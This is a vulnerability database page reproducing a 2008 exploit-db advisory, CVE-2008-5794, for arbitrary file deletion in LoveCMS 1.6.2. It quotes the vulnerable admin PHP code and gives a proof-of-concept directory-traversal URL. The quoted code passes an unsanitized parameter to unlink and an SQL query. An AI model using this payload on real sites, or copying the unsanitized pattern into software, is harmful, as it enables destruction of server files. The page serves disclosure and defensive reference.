Lucene search
+L

LoveCMS 1.6.2 Final - Arbitrary File Delete

🗓️ 06 Nov 2008 00:00:00Reported by cOndemnedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

LoveCMS 1.6.2 Final Arbitrary File Delete Vulnerability allows unauthorized file deletio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-5794
6 Nov 200800:00
circl
cve
CVE
CVE-2008-5794
31 Dec 200811:00
cve
cvelist
Cvelist
CVE-2008-5794
31 Dec 200811:00
cvelist
euvd
EUVD
EUVD-2008-5764
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-5794
31 Dec 200811:30
nvd
prion
Prion
Directory traversal
31 Dec 200811:30
prion
+-------------------------------------------------------------------------------------------------------+
|													|
|	Name		:	LoveCMS 1.6.2 Final Arbitrary File Delete Vulnerability			|
|	Author		:	cOndmened								|
|	Greetz		:	ZaBeaTy, rtgn, doctor, elmasterlow, str0ke, t0pP8uZz & all friends	|
|	Details		:	Ofc, we can only delete files from places that we have permission	|
|				to access x]								|
|													|
+-------------------------------------------------------------------------------------------------------+


source of/lovecms/system/admin/images.php

	41.	if($_GET['delete'])

	42.	{

	43.		$filename = $_GET['delete'];

	44.		$sql = $db -> db_query("DELETE FROM " . DB_PREFIX . "images

	45.		WHERE filename = '$filename'");

	46.

	47.		unlink(LOVE_ROOT . '/uploads/' . $filename);

	48.		unlink(LOVE_ROOT . '/uploads/thumbs/' . $filename);

	49.

	50.		redirect_with_message('msg', 'LANG_088');

	51.	}



Description :

	41.	name of file to delete is being sended using GET method in variable called 'delete'
	47.	here the requested file is being erased

		rest of the code block doesn't matters

Proof of concept :

	http://[host]/[loveCMS-path]/system/admin/images.php?delete=../../../[local-file]

# milw0rm.com [2008-11-06]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Dec 2010 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.02605
27